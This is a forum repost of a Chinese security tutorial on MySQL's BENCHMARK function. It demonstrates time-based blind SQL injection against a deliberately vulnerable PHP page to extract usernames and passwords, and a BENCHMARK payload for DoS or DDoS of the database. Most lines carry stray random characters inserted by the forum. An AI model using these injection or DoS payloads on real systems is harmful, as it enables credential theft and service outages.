找回密码
 立即注册
查看: 2623|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
0 z. |5 S& Z. J5 f6 l本文作者:SuperHei
# b6 D5 e4 s4 |7 z文章性质:原创- L9 Q+ k1 Z4 M. X$ ]
发布日期:2005-01-02
  B( Q9 E/ _, \( ]) R: @5 H4 T8 U完成日期:2004-07-09
! g# [& X' Y7 j# q2 C/ Y第一部7 x$ Q# x& G/ L9 Z) G3 V3 m* r5 b
/ B' ^! V" h: n4 A% \, G
利用时间推延进行注射---BENCHMARK函数在注射中的利用
; e9 h! B. h9 Z) i8 f2 C
4 D0 w7 O! M$ q. S# `一.前言/思路. c$ K5 o1 C' y0 i- f$ {

# H0 P$ k/ q. T! V  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。6 W; ]  i6 C: z4 B
6 x$ c3 c, x2 M( \" ?3 k' ^
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。8 L* \- M) t: {) ^8 L+ f
$ C: a3 b$ C3 ], u  r8 [
二.关于BENCHMARK函数# V0 I- `, H$ L+ M& M9 S

; @; G) g( \/ m3 {  在MySQL参考手册里可以看到如下描叙:
# L  H# l- o  y+ |
# v5 G+ z' n. z- V- ~6 s- }7 v1 @+ U3 {* Y
--------------------------------------------------------------------------------
6 i" k7 o& Q+ I0 m! U0 f( `6 D$ Q: G% U" M/ V2 {
BENCHMARK(count,expr) ! F% _/ v; k$ J7 V/ _+ d
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
1 C% S% d) G. `mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
5 E$ K0 b/ @+ C! x7 a+ V) j$ D+----------------------------------------------+
, R# M# M$ g# `: @  P| BENCHMARK(1000000,encode("hello","goodbye")) |
$ t' i7 y+ z. |3 |% P0 ?+ W* |+----------------------------------------------+
) r8 v0 ~& c# o7 p" ~- @| 0 |
/ \: Q/ h2 {  O& \, y: {4 x5 f- ]+----------------------------------------------+
5 ?6 L8 w" `3 B# ~0 Q1 row in set (4.74 sec) ' p3 T! y) l7 j. t: i
( R2 T  W2 {  b) A6 s& v1 J
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。1 }; T6 \6 E! a7 v

7 ^) E4 B. n9 M; |. F) h/ v& F, ^; S6 e; ^6 S
--------------------------------------------------------------------------------
6 ?" }& D, e9 e% b, |, K2 ^, I3 O1 |2 m; O7 P
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ! i% P) l  }) [5 j
$ T+ H- @& i' X" n! j$ Y- V; F
mysql> select md5( 'test' );
! Y% C! f' G: j8 H# D0 h+----------------------------------+
  n$ ]2 W/ p& J6 i| md5( 'test' ) | 6 L1 o4 y  |7 I
+----------------------------------+
( x7 @, `2 j3 ~0 p| 098f6bcd4621d373cade4e832627b4f6 | " ]5 W0 k0 [, a1 P. R$ f- m
+----------------------------------+ $ i% p9 f* T3 }1 c$ J
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec . m5 Q. y2 o- j5 ]

( u1 r: J% Z5 i' o# Tmysql> select benchmark( 500000, md5( 'test' ) );
9 r  U  s0 L; [, y" A& ]! Y* @+------------------------------------+
0 X* o! R; y/ S; k| benchmark( 500000, md5( 'test' ) ) |
0 [! C3 x4 N; V8 S+------------------------------------+ + Y( V  y6 U  j
| 0 |
4 O) w* o+ T' ~) B, F' o: r+------------------------------------+ 5 u; p( G# O1 c3 B/ d0 Y$ ~5 j
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
, G* E- o2 K8 f% R
& Z9 _& l5 ^6 w# o$ x. g3 ^( i( F* c7 b: R" `' Y' n. Z. m; K1 Q
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 2 b# ?+ e2 M- [" o8 _( |
0 R+ O+ B% v# R) n- m  d6 u
三.具体例子. w1 t7 ?4 C& d9 ?
0 V& V6 v! Q9 r% a+ t$ s/ c/ \
  首先我们看个简单的php代码:1 i' X& a8 I+ f5 V4 e

" D2 o* {3 T5 n! o< ?php
0 T' y2 M! r! H% K% q$servername = "localhost";
& l  v' v3 V9 F' |$dbusername = "root";
: z2 N+ a/ R" K/ [. U6 p5 B$dbpassword = "";
- I4 p% l5 b6 }0 |* A+ b8 M$dbname = "injection"; ) Z2 m$ O2 _, Z1 f4 \) A
3 E- n5 ?' \2 n; \5 `
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); / B8 N4 k4 Q( l0 A. K( h- V# f
% d: @# V- j9 y+ L; `" h& t
$sql = "SELECT * FROM article WHERE articleid=$id";
) P/ s6 T3 U  X+ V# f, z% ^$result = mysql_db_query($dbname,$sql); . g4 J  `% y( S6 ]  h
$row = mysql_fetch_array($result); ' z( r- v& A( X% l$ b. T

4 E6 \0 q* s- j6 g: s+ oif (!$row)
* }& c& V6 D8 Q6 Q' w: J$ V{ ) _7 y, v, ^2 L- j9 m* \3 V8 g
exit;
; d3 d  G! a" I* E/ z5 A2 O7 O}
/ B) a0 [7 g7 l4 }?>
- S( w9 w5 @7 i. P. K( S& u& g
6 Q% B8 k; U* B* b" \# e
5 }4 {; @/ i$ \$ p" c3 R  数据库injection结构和内容如下:
4 k4 ~: @; n0 n* j0 t0 i! Q& [+ Y9 l) y. O# s/ o
# 数据库 : `injection`
4 T! g4 S) _; H* M#
  O2 d; n, V/ M+ F' g
" p* K4 B& h- F. p- V# m1 F# -------------------------------------------------------- & c) N. T# ^0 W* ^& [
5 B" {7 h% Y$ R" v5 l( R' q+ e
# ( P3 q0 H% U5 d7 E7 @2 V
# 表的结构 `article` . t9 s* ]8 x0 R1 C2 S9 L; S
# 1 J* q" F: O7 V& a( w2 `$ W" @
) P* g2 ?  g. T  K
CREATE TABLE `article` ( 9 a* N. d8 C' O, Y0 ?
`articleid` int(11) NOT NULL auto_increment,
4 m0 B8 U5 {% E" d3 I; r; m0 V`title` varchar(100) NOT NULL default '',
% ~" e* K1 u1 G) b- K+ m+ A`content` text NOT NULL,
' f8 a+ ?+ c% q5 F5 ^PRIMARY KEY (`articleid`) . D& }1 Y- F! h. ^+ y* f/ V9 [! I) P* @
) TYPE=MyISAM AUTO_INCREMENT=3 ;
# K0 M3 a# S9 d9 `- F3 g1 l* @7 p) p, c8 K/ E& E4 H
# + I4 b, M+ M( Y2 _) Q
# 导出表中的数据 `article`
# q* R6 |5 [4 X+ E) ]#   w) `" t& A% _
/ c0 H+ V' z. L8 C2 y. v
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 7 S- C' x: E; @" r) X' {7 G% q! k$ ?
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
2 D5 a+ u% D5 @" C6 P
: p/ u! A* {' `2 T$ |# --------------------------------------------------------
" W0 P5 n/ w! J5 _' a$ d
- \! z0 K( j; G( O  @! J: f#
7 U8 u5 f# B; _3 `# 表的结构 `user`
, z% G% x3 H2 l! ]+ P" t7 O#
4 S7 Y. I) \5 ]: D0 k! M" T
* ~5 E. ^3 T6 E& W. CCREATE TABLE `user` (
7 O, [$ ~8 i9 h`userid` int(11) NOT NULL auto_increment,
' o' G* T% Y( A2 Y( `! s' U$ i. h9 h$ X`username` varchar(20) NOT NULL default '',
7 N# f4 c' t& ]3 B9 F8 w`password` varchar(20) NOT NULL default '',
+ w. v: D$ u$ n6 oPRIMARY KEY (`userid`) : h- @% P, t  S6 l1 _
) TYPE=MyISAM AUTO_INCREMENT=3 ; 7 |0 N" I6 ~1 R) z4 R, d8 J2 C
' ^/ [" `$ L) ]! ~
# % y, O/ C# [6 B9 v. N5 D7 x3 W5 t+ ?
# 导出表中的数据 `user` 4 E2 V1 U* x8 n# [" P% Y7 L
# : _  Q' I- X! m4 _, k0 m
* _& m% L3 ~+ q+ w) t2 N
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
( ?5 ^- B, j8 Y  \+ gINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');8 N5 Z) o4 p" J* J

7 x* B4 T' J0 i# \% V4 ?7 U' L2 o* c' t- m
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:) O/ c7 M4 M& H8 h
' {! O% X/ ^% f, R, N% ]8 x0 a# ~
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*( t  |% c; ~# Y% G# _

, R: S$ D; }, S! z( v: S
% W8 m: X3 Y5 G- x  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:" C1 H" e! A' \1 p/ D" E* n- r

/ X9 S$ |) W* |9 e9 ]1 x3 @http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
6 e2 r, g! `# Z. D2 ` % A; n, k' A4 K# n6 q* h4 {7 I8 D( j

. S( X, i' x, I( s; l  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
5 i5 \9 r" e# y: }: D
; J/ N. T0 ^9 C0 G' q  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
% t$ e! |- _8 B+ U, @
/ I/ ]/ I5 @1 H; n7 P第二部4 O+ _, i& g3 v& L1 D* g3 g) F- Y
+ a9 W, v. R. Y/ n( c/ c7 G
利用BENCHMARK函数进行ddos攻击 . s* j' Z5 X6 u

) Z) h6 M% E  j6 |; Q  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
4 i/ }, H0 f+ w  g" \5 ]; d4 `' N% b/ A
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
8 f/ A" j: t$ n6 d  h
# U; _" g; n# z' j' ^) Q' s- L) p% {/ H* [
小结
3 S' {6 p" w$ m( x' R2 b! t( M* o4 \. b* |% a& C* P
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
. S3 H" f+ a- h0 Q/ m' U4 p
; \$ \: _" z/ g4 Z! {& g0 t  
6 q$ i1 R' Z# Z( y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表